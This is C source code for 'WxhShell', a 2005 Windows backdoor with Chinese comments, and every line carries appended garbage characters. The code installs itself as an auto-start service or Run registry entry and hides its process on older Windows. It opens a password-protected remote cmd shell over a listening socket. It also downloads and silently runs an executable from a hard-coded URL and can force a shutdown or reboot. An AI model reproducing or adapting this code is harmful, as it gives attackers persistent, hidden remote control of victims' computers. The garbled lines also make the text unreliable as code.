    closesocket(wsh); Z~94<*LEp  
    ExitThread(0); fNx!'{o"  
    } ~V?z!3r-)  
    break; ]CcRI|g}  
    } _\k?uUo&,^  
  // 关机 ;! ?l8R  
  case 'd': { 85dC6wI4K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q -$) H;,  
    if(Boot(SHUTDOWN)) f &NX~(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pV8tn!  
    else { -"'+#9{h  
    closesocket(wsh); o58c!44  
    ExitThread(0); 5$:9nPAH  
    } (m Yi  
    break; K5`*Y@  
    } g.62XZF@  
  // 获取shell qk^/ &j  
  case 's': { |/xA5_-N  
    CmdShell(wsh); ~};q/-[r  
    closesocket(wsh); WY@g=W>+  
    ExitThread(0); YSPUQ  
    break; u Uq= L  
  } l-c:'n  
  // 退出 &D-z|ZjgHi  
  case 'x': { U&*%KPy`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9L-jlAo<  
    CloseIt(wsh); ]57Ef'N  
    break; ~$^ >Vo  
    } c}S<<LR  
  // 离开 +C7W2!I[G2  
  case 'q': { l+y;>21sTu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sb_/FE5e  
    closesocket(wsh); cg]Gt1SU  
    WSACleanup(); Qp:m=f6@  
    exit(1); / s Apj  
    break; \@h$|nb  
        } nLk`W"irM  
  } iE;F=Rb  
  } 54WX#/<Yik  
()Wu_Q  
  // 提示信息 ] FvGAG.*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9o?\*{'KT  
} FY)]yz  
  } )+,h}XqlX  
Br<lP#u=G  
  return; )@Y< <9'2  
} DS@Yto  
RTg\c[=w  
// shell模块句柄 S^D@8<6GJ  
int CmdShell(SOCKET sock) <?DI!~  
{ H*N{4zBB  
STARTUPINFO si; iC!6g|]X  
ZeroMemory(&si,sizeof(si)); 'ks  .TS&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6q`)%"4k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8n2;47 a  
PROCESS_INFORMATION ProcessInfo; 6M_ W(  
char cmdline[]="cmd"; q6sb;?I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hRB?NM  
  return 0; T?Z&\g0yp  
} f9y+-GhaD  
92D~trn  
// 自身启动模式 L|s\IM1g  
int StartFromService(void) e87a9ZPm  
{ $7Z-Nn38  
typedef struct H13\8Te{  
{ J2oh#TGp  
  DWORD ExitStatus; < 0~1   
  DWORD PebBaseAddress; [x=(:soEqC  
  DWORD AffinityMask; sHPeAa22  
  DWORD BasePriority; d>MDC . j  
  ULONG UniqueProcessId; tV pXA'"!x  
  ULONG InheritedFromUniqueProcessId; X+u1p?  
}   PROCESS_BASIC_INFORMATION; %`]!atH  
};P=|t(r  
PROCNTQSIP NtQueryInformationProcess; rxy5Nrue  
j}tGcFwvSN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CsT&}-C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 14uv[z6  
XMP4YWuVc  
  HANDLE             hProcess; _p9"MU&}  
  PROCESS_BASIC_INFORMATION pbi; Xnh&Kyz`v  
^PJN$BJx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <|G!Qn?2-  
  if(NULL == hInst ) return 0; {w"Cr0F,  
E vY^]M_U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `@ ,Vbn^_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G[_Z|Xi1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OfA+|xT&  
VhMVoW  
  if (!NtQueryInformationProcess) return 0; # &5.   
\3K7)o^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GA[bo)"  
  if(!hProcess) return 0; c3#eL  
QKVOc,Fp7i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [wQJVYv  
Z1$U[Tsd  
  CloseHandle(hProcess); 8D?$@!-  
~FXq%-J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7\nXJ381  
if(hProcess==NULL) return 0; S&[9Vb  
glROT@  
HMODULE hMod; ij3W8i9'  
char procName[255]; ^liW*F"UY  
unsigned long cbNeeded; |tLD^`bt  
3q@JhB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rADzJ#CU \  
KC(z TY  
  CloseHandle(hProcess); .EjR<UU  
)^6Os2  
if(strstr(procName,"services")) return 1; // 以服务启动 Kf$(7FT'`  
L5|g \Y`  
  return 0; // 注册表启动 fsnZHL}=n  
} HmU6:8V *Z  
#D{Eq8dp  
// 主模块 +`V<& Y-5l  
int StartWxhshell(LPSTR lpCmdLine) '+g[n  
{ 6 A#xFPYY{  
  SOCKET wsl; suLC7x`Z  
BOOL val=TRUE; cuy9QBB :  
  int port=0; bBo>Y7%  
  struct sockaddr_in door; |:2B)X  
fWri7|"0h  
  if(wscfg.ws_autoins) Install(); <_=O0 t| 6  
c1y+k vv  
port=atoi(lpCmdLine); b<"jmB{  
WMWMb3  
if(port<=0) port=wscfg.ws_port; QSM3qke  
SlT>S1`rnG  
  WSADATA data; Wy-y-wi:p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;<b7kepR  
C#)T$wl[E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~MYE8xrId  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o"A)t=  
  door.sin_family = AF_INET; P-8QXDdr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LH`2Y,E  
  door.sin_port = htons(port); =i;T?*@  
OpIeo+^X*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /P]N40_@  
closesocket(wsl); CM[83>  
return 1; O2 + K  
} ^si[L52BZ  
!V/7q'&t=  
  if(listen(wsl,2) == INVALID_SOCKET) { A+4Kj~`!  
closesocket(wsl); "f~OC<GdYs  
return 1; cg9}T[A  
} z> DQ  
  Wxhshell(wsl); B/n~ $  
  WSACleanup(); e0Gs|c+6  
7(^F@,,@  
return 0; {&B0kjf  
1^tX:qR  
} yA_ly <  
aXZi2  
// 以NT服务方式启动 5gC> j(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5e0d;Rd  
{ &0%B3  
DWORD   status = 0; ORWi+H|  
  DWORD   specificError = 0xfffffff; ryA+Lli.  
=d:3]M^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -O-?hsV)y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ObS#aRq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &uBf sa$  
  serviceStatus.dwWin32ExitCode     = 0; J}#2Wy^{  
  serviceStatus.dwServiceSpecificExitCode = 0; W5:fY>7  
  serviceStatus.dwCheckPoint       = 0; ,7k1n{C)  
  serviceStatus.dwWaitHint       = 0; D+~*nc~ g  
8xh x*A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A2A_F|f  
  if (hServiceStatusHandle==0) return; v.u 5%  
e+VE FWz  
status = GetLastError(); C>,> _  
  if (status!=NO_ERROR) ! R3P@,j  
{ R?- zJ ;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qcQq.cS_'N  
    serviceStatus.dwCheckPoint       = 0; X{6a  
    serviceStatus.dwWaitHint       = 0; BB(v,W  
    serviceStatus.dwWin32ExitCode     = status; DVKb`KJ"  
    serviceStatus.dwServiceSpecificExitCode = specificError; `R.Pz _oe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T,vh=UF%]  
    return; UTN[! 0[  
  } .P?n<n#  
2Yd@ V}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [cl+AV "  
  serviceStatus.dwCheckPoint       = 0; 9e vQQN6D|  
  serviceStatus.dwWaitHint       = 0; )N1iGJO)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v '^}zO  
} Sl<1Rme=w  
+/]*ChrS  
// 处理NT服务事件,比如:启动、停止 }#g+~9UK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X-TGrdoX  
{ h%4UeL &F  
switch(fdwControl) ;#0$iE  
{ D.x8=|;  
case SERVICE_CONTROL_STOP: 7-}5 W  
  serviceStatus.dwWin32ExitCode = 0; ,IE.8h)H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WpnP^gmX  
  serviceStatus.dwCheckPoint   = 0; %f1IV(3Qc  
  serviceStatus.dwWaitHint     = 0; 3Lq9pdM>2@  
  { ux| QGT2LY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G#6Z@|kVw  
  } KT>Y^  
  return; U0{)goN.  
case SERVICE_CONTROL_PAUSE: %^nNt:N0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \+l_H4\`K  
  break; iDhC_F|  
case SERVICE_CONTROL_CONTINUE: #e,TS`"eD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kp}[nehF  
  break; s@y;b0$gk  
case SERVICE_CONTROL_INTERROGATE: oGl<i  
  break; .c0u##/0  
}; v9S=$Aj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Er"i  
} (uhE'IQ{(  
X7`-dSVE  
// 标准应用程序主函数 6-J}ZfGj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y'>JT/Q5  
{ o8hE.pf&  
@EyB^T/  
// 获取操作系统版本 dG]B-(WTC  
OsIsNt=GetOsVer(); ?K:. Pa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c=9A d  
&1&OXm$  
  // 从命令行安装 ^yq}>_  
  if(strpbrk(lpCmdLine,"iI")) Install(); vNl)ltzJF  
dga4|7-MY  
  // 下载执行文件 p4UEhT  
if(wscfg.ws_downexe) { e5n]@mu%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <m VFC  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3 v.8  
} V3r)u\ o'  
n00J21  
if(!OsIsNt) { _<Ij)#Rq7  
// 如果时win9x,隐藏进程并且设置为注册表启动 >D}|'.&  
HideProc(); Q .h.d))  
StartWxhshell(lpCmdLine); ;BT7pyu%[  
} k.o8!aCm  
else )Ho"b  
  if(StartFromService()) KZVdW@DY  
  // 以服务方式启动 sK&kp=zu  
  StartServiceCtrlDispatcher(DispatchTable); @ F $}/  
else {2D|,yH=  
  // 普通方式启动 X#ud5h  
  StartWxhshell(lpCmdLine); ,r]H+vWS  
-38"S;M8  
return 0; o^* :  
} pL`Q+}c}  
#=33TvprR2  
 G +41D  
bj6Yz,g F  
=========================================== bGK*1FlH  
k<+Sj h$  
d ePk}Sn  
U=69q]  
ju "?b2f  
bR~(Ry`  
" _;Xlw{FN^  
u~Po5W/i  
#include <stdio.h> {Q_GJ  
#include <string.h> a7F_{Mm  
#include <windows.h> $;Iz7:#jN  
#include <winsock2.h> Jvsy 6R  
#include <winsvc.h> C7*YZe  
#include <urlmon.h> W;UPA~nT~  
h$6'9rL&i  
#pragma comment (lib, "Ws2_32.lib") r^<,f[yH  
#pragma comment (lib, "urlmon.lib") V&vG.HAT  
l5&5VC)  
#define MAX_USER   100 // 最大客户端连接数 fR'!p: ~  
#define BUF_SOCK   200 // sock buffer bn8maYUZ  
#define KEY_BUFF   255 // 输入 buffer fHEIys,{  
z 5(5\j]  
#define REBOOT     0   // 重启 "c]9Q%  
#define SHUTDOWN   1   // 关机 {k-_+#W"  
GA[D@Wy  
#define DEF_PORT   5000 // 监听端口 UI U:^g0  
/HhA2 (g%  
#define REG_LEN     16   // 注册表键长度 fKqr$59>  
#define SVC_LEN     80   // NT服务名长度 bPP@  
ipp`99  
// 从dll定义API X{, mj"(w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g'7\WQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ly0L)L]\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &oB*gGRw=7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xR&:]M[Vg  
26nwUNak  
// wxhshell配置信息 t=@d`s:R2  
struct WSCFG { kc P ZIP:  
  int ws_port;         // 监听端口 W)/f5[L  
  char ws_passstr[REG_LEN]; // 口令 8~R.iqLoX  
  int ws_autoins;       // 安装标记, 1=yes 0=no e@0|fB%2  
  char ws_regname[REG_LEN]; // 注册表键名 knG:6tQ  
  char ws_svcname[REG_LEN]; // 服务名 O TlqJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oST)E5X;7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i7r)9^y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @-\=`#C**  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xZ;eV76  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <Z3C&BM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~K3Lbd| r  
/}>8|#U3y  
}; wzd(= *N  
2)|=+DN;  
// default Wxhshell configuration GQY" +xa8]  
struct WSCFG wscfg={DEF_PORT, jLI1Ed  
    "xuhuanlingzhe", y] D\i5Xv  
    1, \y=28KKc:c  
    "Wxhshell", zNrn|(Y%Y  
    "Wxhshell", Q5Nbu90  
            "WxhShell Service", 3!gz^[!?EN  
    "Wrsky Windows CmdShell Service", #t(/wa4  
    "Please Input Your Password: ", { >[ ]iX  
  1, V61oK  
  "http://www.wrsky.com/wxhshell.exe", .[]S!@+%  
  "Wxhshell.exe" lqL5V"2Y  
    };  ArAe=m!u  
JvW7h(u7g  
// 消息定义模块 4_j_!QH87  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ov,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V'W*'wo   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ro<w8V9.a  
char *msg_ws_ext="\n\rExit."; p.g>+7  
char *msg_ws_end="\n\rQuit."; IO"P /Q  
char *msg_ws_boot="\n\rReboot..."; ciml:"nQ  
char *msg_ws_poff="\n\rShutdown..."; c|9g=DjK  
char *msg_ws_down="\n\rSave to "; a]V8F&)g#  
<@ ts[p.  
char *msg_ws_err="\n\rErr!"; l:e C+[_;>  
char *msg_ws_ok="\n\rOK!"; KO#kIM-  
k# Ho7rS&  
char ExeFile[MAX_PATH]; kJf0..J[#<  
int nUser = 0; 8\' tfHL  
HANDLE handles[MAX_USER]; =lk'[P/p`  
int OsIsNt; $A{$$8P  
f:~G)  
SERVICE_STATUS       serviceStatus; /N*<Fq7w~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nh^I{%.x  
UV}:3c6ZX  
// 函数声明 :M{ )&{D  
int Install(void); HP[B%  
int Uninstall(void); 4vG-d)"M2  
int DownloadFile(char *sURL, SOCKET wsh); O4oN)  
int Boot(int flag); 'R+^+urq^  
void HideProc(void); 4To$!=  
int GetOsVer(void); e\[q3J  
int Wxhshell(SOCKET wsl); b' M"To@  
void TalkWithClient(void *cs); 2INpo  
int CmdShell(SOCKET sock); 9M9Fif.  
int StartFromService(void); F#<:ZByjJ@  
int StartWxhshell(LPSTR lpCmdLine); 2D"my]FnF  
qtZzJ>Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M$ieM[_T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *'aJO }$  
+,)k@OI  
// 数据结构和表定义 ll$mRC  
SERVICE_TABLE_ENTRY DispatchTable[] = "A~dt5GJ  
{ &o t^+uVH  
{wscfg.ws_svcname, NTServiceMain}, <>n|_6'$90  
{NULL, NULL} 7i xG{yu  
}; kDm uj>D  
0Q7<;'m  
// 自我安装 }[PwA[k'  
int Install(void) [3-u7Fx!  
{ #BBDI  
  char svExeFile[MAX_PATH]; N5;z5E  
  HKEY key; DKMkCPX%  
  strcpy(svExeFile,ExeFile); P8dMfD*"E  
;k#_/c  
// 如果是win9x系统,修改注册表设为自启动 RbxQTM_:M  
if(!OsIsNt) { e> 9X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7lwI]/ZH*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CckfoJ 9  
  RegCloseKey(key); Sft vN-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |-\anby<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DPW^OgL;  
  RegCloseKey(key); Lc}hjK  
  return 0; L7rr/D  
    } ,D`jlY-1l  
  } 6<S-o|Xw  
} R||$Rfe  
else { M61Nl)|mx&  
wj}LVyV  
// 如果是NT以上系统,安装为系统服务 oP56f"BE(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !L9|iC:8  
if (schSCManager!=0) ^vG<Ma.yk  
{ C7m/<  
  SC_HANDLE schService = CreateService v ,h"u  
  ( JP\jhkn  
  schSCManager, dPpQCx f  
  wscfg.ws_svcname, >T [Y>]  
  wscfg.ws_svcdisp, `fEzE\\!*  
  SERVICE_ALL_ACCESS, [|*7"Q(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u?SwGXi~8  
  SERVICE_AUTO_START, cOpe6H6,bz  
  SERVICE_ERROR_NORMAL, dT7f yn  
  svExeFile, Wkk(6gS,  
  NULL, 3)=ix. wW  
  NULL, HX| p4-L  
  NULL, R-ek O7z  
  NULL, )^qXjF  
  NULL P6>C+T1  
  ); qlPIxd  
  if (schService!=0) cL4Go,)w  
  { $RI$VyAjD  
  CloseServiceHandle(schService); _ti^i\8~  
  CloseServiceHandle(schSCManager); X}3?k<m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v:74iB$i/C  
  strcat(svExeFile,wscfg.ws_svcname); RLQ*&[A}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s1Wn.OGR4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hC<E4+5.,  
  RegCloseKey(key); mpwh=  
  return 0; {_\dwe9  
    } 5X];?(VTsb  
  } 4|\M`T  
  CloseServiceHandle(schSCManager); u|$HA>F[  
} A~E S{Zkh  
} 8irTGA  
+[n#{;]<  
return 1; I'{Ctc  
} (HeSL),1  
Pr%KcR ;  
// 自我卸载 E,?IIRg&  
int Uninstall(void) hUvA;E(qD  
{ ; Gv-$0{P3  
  HKEY key; g6DIWMoO=h  
Iy*Q{H3[  
if(!OsIsNt) { WixEnsJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \+U;$.)3  
  RegDeleteValue(key,wscfg.ws_regname); 8|i<4>  
  RegCloseKey(key); c%b|+4 }x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7],y(:[=v  
  RegDeleteValue(key,wscfg.ws_regname); P;gd!Yl<-  
  RegCloseKey(key); {*hGe_^  
  return 0; {y@8E>y5$  
  } _hJ+8B^`  
} OC,yLQ  
} 4n(w{W>  
else { .%W.uF^  
#;8VBbc\^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >HwVP.~HN  
if (schSCManager!=0) 3My}u>  
{ qPDRB.K|}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UjJ&P)  
  if (schService!=0) 5'{QMnfB  
  { L)7{_s  
  if(DeleteService(schService)!=0) { ~qL/P 5*+  
  CloseServiceHandle(schService); ~n0Exw(  
  CloseServiceHandle(schSCManager); ^zqQ8{oV  
  return 0; Kt]vTn7!9  
  } Z{#3-O<a+n  
  CloseServiceHandle(schService); [\Aws^fD_  
  } M!gu`@@}F  
  CloseServiceHandle(schSCManager); CUC]-]8  
} #] Do_Z  
} ;cL+= !  
Jk|DWZ  
return 1; o(v7&m;  
} 4UW)XLu6T7  
:D2GLq*\  
// 从指定url下载文件 !]mo.zDSW5  
int DownloadFile(char *sURL, SOCKET wsh) Q9p2.!/C1  
{ kMEXgzl  
  HRESULT hr; 3ErV" R4"$  
char seps[]= "/"; 5?(dI9A"K  
char *token; <H<Aba9\  
char *file; WyQ8}]1b  
char myURL[MAX_PATH]; ,_7m<(/f  
char myFILE[MAX_PATH]; X>yE<ni  
TOP,]N/F H  
strcpy(myURL,sURL); Z!'k N\z  
  token=strtok(myURL,seps); g?j^d:  
  while(token!=NULL) "<&o ;x<  
  { #sv}%oV,F  
    file=token; l_2l/ff9  
  token=strtok(NULL,seps); L4u.cH J}0  
  } Q>w)b]d~c  
wax^iL!  
GetCurrentDirectory(MAX_PATH,myFILE); _q@lP|  
strcat(myFILE, "\\"); e2nZwPH  
strcat(myFILE, file); [CV0sYEA  
  send(wsh,myFILE,strlen(myFILE),0); |D'!.$7%  
send(wsh,"...",3,0); F$:mGyl5_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q3t%JP>;g  
  if(hr==S_OK) =q"0GUei3  
return 0; }+[!h=Bx  
else ?"}U?m=  
return 1; 0,__{?!  
v )2yR~J  
} 0}k vuuR  
3_eg'EP.E  
// 系统电源模块 f e^s`dsG  
int Boot(int flag) = K`]cEL  
{ I;$tBgOWq  
  HANDLE hToken; DEfhR?v  
  TOKEN_PRIVILEGES tkp; R iLqMSq  
xA n|OSe  
  if(OsIsNt) { %md9ou`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); % 1<@p%y/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j6 _w2  
    tkp.PrivilegeCount = 1; ]8cD,NS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F?y C=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rX`fjS*C  
if(flag==REBOOT) { ZiH4s|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bhZ5-wo4%  
  return 0; |NjyO>@Pa  
} wlP% U  
else { #fyY37-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =7 -k D3  
  return 0; H3JDA^5  
} 73nmDZO|  
  } {+9t!'   
  else { "JYWsE  
if(flag==REBOOT) { :c[T@[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ')fIa2dO/  
  return 0; EScy!p\*  
} f,-'eW/j  
else { cZt5;"xgr]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Au )%w  
  return 0; @$!"}xDR'  
} 9*?YES'6  
} c8cGIAOY)  
UyNP:q:  
return 1; .e S* F  
} )B5U0iIi  
VOmS>'$  
// win9x进程隐藏模块 $@dPIq4o;}  
void HideProc(void) U[@B63];0  
{ ;q<:iaY9  
.d4&s7n0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6HVGqx  
  if ( hKernel != NULL ) !6s]p%{V  
  { !<>`G0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qMBEJ<o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @c,=c+-  
    FreeLibrary(hKernel); @oMl^UYM=  
  } 5pE@Ww  
Nn5sD3z#  
return; Oo%%f+  
} @d[)i,d:G  
XToYtdt2  
// 获取操作系统版本 <,nd]a  
int GetOsVer(void) 7^h*rL9  
{ V}G; oz&>)  
  OSVERSIONINFO winfo; [rhK2fr:i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vRO`hGH  
  GetVersionEx(&winfo); V4%7Xj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4-xg+*()  
  return 1; Cz4l  
  else r*ry8QA  
  return 0; OgyHX>}bH  
} D_I_=0qNd  
/9C>{29x!  
// 客户端句柄模块 jATN):8W  
int Wxhshell(SOCKET wsl) 4+0:(=>[%  
{ B|BJkY'  
  SOCKET wsh; & =vi]z:[  
  struct sockaddr_in client; z#olKBs  
  DWORD myID; DTx>^<Tk  
O@KAh5EB  
  while(nUser<MAX_USER) A Rjox`  
{ k%cT38V*  
  int nSize=sizeof(client); FBI^}^#_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a^9}ceu?   
  if(wsh==INVALID_SOCKET) return 1; &R}2/Mt  
Z9PG7h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]<E\J+5K  
if(handles[nUser]==0) k5GJrK+  
  closesocket(wsh); eN I6V/\`  
else uacVF[9|W  
  nUser++; ZCkwK  
  } !iGZo2LV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8~h.i1L  
?u M2|Nk  
  return 0; Yg")/*!H  
} gM Z `  
[ Q20c<,  
// 关闭 socket 2ISnWzq;  
void CloseIt(SOCKET wsh) G]fx3=  
{ knu>{a}  
closesocket(wsh); ?|we.{  
nUser--; +p)kemJ~  
ExitThread(0); @X0$X+]E*8  
} ,O"zz7  
;z^C\=om  
// 客户端请求句柄 Ha/-v?E  
void TalkWithClient(void *cs) nSV OS6  
{ PF/eQZ*4  
25`6V>\  
  SOCKET wsh=(SOCKET)cs; 1x4{~g\  
  char pwd[SVC_LEN]; ~G`(=\_0  
  char cmd[KEY_BUFF]; 5ayH5=(t  
char chr[1]; u+vUv~4A6  
int i,j; IqmoWn3  
0N*~"j;r#M  
  while (nUser < MAX_USER) { Yf,U2A\  
^0&   
if(wscfg.ws_passstr) { Ea[K$NC)#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o8ADAU"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c27A)`   
  //ZeroMemory(pwd,KEY_BUFF); @,v.Y6Ge  
      i=0; PaYsn *{})  
  while(i<SVC_LEN) { 5J8U] :Y)  
Qa=v }d-O  
  // 设置超时 gS4@3BOw&.  
  fd_set FdRead; +}0/ %5 =1  
  struct timeval TimeOut; D[ (A`!)  
  FD_ZERO(&FdRead); +&hd3  
  FD_SET(wsh,&FdRead); bIahjxd:  
  TimeOut.tv_sec=8; _kT$/k  
  TimeOut.tv_usec=0; E h>qUa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k9?fE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D>Dch0{H,:  
1-60gI1)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8!{F6DG  
  pwd=chr[0]; $17utJ 58  
  if(chr[0]==0xd || chr[0]==0xa) { J(\f(jh/  
  pwd=0; w#M66=je_  
  break; WfE,U=e*  
  } I= 'S).  
  i++; &]Q\@;]Aq  
    } StJ&YYdD  
\sZ!F&a~  
  // 如果是非法用户,关闭 socket 0(!D1G{ul  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V/}g'_E  
} &c)n\x*  
_+hf.[""  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (:]on^|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t LZ4<wc  
 &(Ot(.  
while(1) { 2-*zevPiG=  
Jx8?x#}  
  ZeroMemory(cmd,KEY_BUFF); ~4fjFo&_\  
|+Fko8-  
      // 自动支持客户端 telnet标准   w8df-]r  
  j=0; L^zF@n^5A  
  while(j<KEY_BUFF) { w(KB=lA2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WS?"OTH.^\  
  cmd[j]=chr[0]; jNa'l<dn]  
  if(chr[0]==0xa || chr[0]==0xd) { @] ` _+\y  
  cmd[j]=0; 9,`eYAu  
  break; 'X$2gD3c9  
  } g~JN"ap  
  j++; OZ6g u$ n*  
    } -mlBr63Bj  
.Bu?=+O~  
  // 下载文件 ({}JvSn1  
  if(strstr(cmd,"http://")) { )ieT/0nt  
